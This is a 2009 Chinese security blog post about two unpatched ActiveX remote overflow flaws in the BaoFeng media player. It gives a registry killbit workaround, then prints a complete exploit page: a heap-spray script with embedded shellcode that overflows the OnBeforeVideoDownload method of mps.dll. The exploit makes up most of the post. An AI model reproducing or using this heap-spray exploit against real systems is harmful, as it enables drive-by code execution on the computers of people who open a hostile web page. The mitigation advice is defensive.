暴风影音被报告存在0day安全漏洞

    [晴 May 2, 2009 17:43 | by !4p47hy ]
来源:Cnbeta
国内安全研究者在5月1号凌晨公布了暴风影音的两个ActiveX远程溢出漏洞(link1,link2)。当安装了暴风影音的用户在浏览黑客精心构造的 包含恶意代码的网页后,可能会导致系统遭受到黑客的攻击。现在在著名exploit网站milw0rm上已经出现了相应的漏洞利用程序。

目前暴风影音尚未发布任何安全公告和安全补丁。

临时解决方法:

在厂商没有推出相应的补丁之前,
建议用户通过注册表对相应的CLSID:BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05设置Killbit

或者将以下文本保存为.REG文件并导入:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{BD103B2B-30FB-4F1E-8C17-D8F6AADBCC05}]
“Compatibility Flags”=dword:00000400

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB}]
“Compatibility Flags”=dword:00000400


附 EXP:
#
# BaoFeng (mps.dll) Remote Code Execution Exploit
# By: MITBOY
# Download: www.baofeng.com
#
# Problem DLL    :     mps.dll
# Problem Func   :   OnBeforeVideoDownload()

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="target"></object>
<input type="button" onclick="test()" value="test" />
<script>
function test()
{
    var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
    var bigblock = unescape("%u9090%u9090");
    var headersize = 20;
    var slackspace = headersize+shellcode.length;
    while (bigblock.length<slackspace)
        bigblock+=bigblock;
      
    fillblock = bigblock.substring(0, slackspace);
    block = bigblock.substring(0, bigblock.length-slackspace);
    while(block.length+slackspace<0x40000)
        block = block+block+fillblock;
  
    memory = new Array();
    for (x=0; x<300; x++)
        memory[x] = block + shellcode;
    var buffer = '';
    while (buffer.length < 4150)
        buffer+="\x0c\x0c\x0c\x0c";
    target.OnBeforeVideoDownload(buffer);
}
</script>
</body>
</html>


Bug&Exp | Comments(0) | Trackbacks(0) | Reads(10990)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive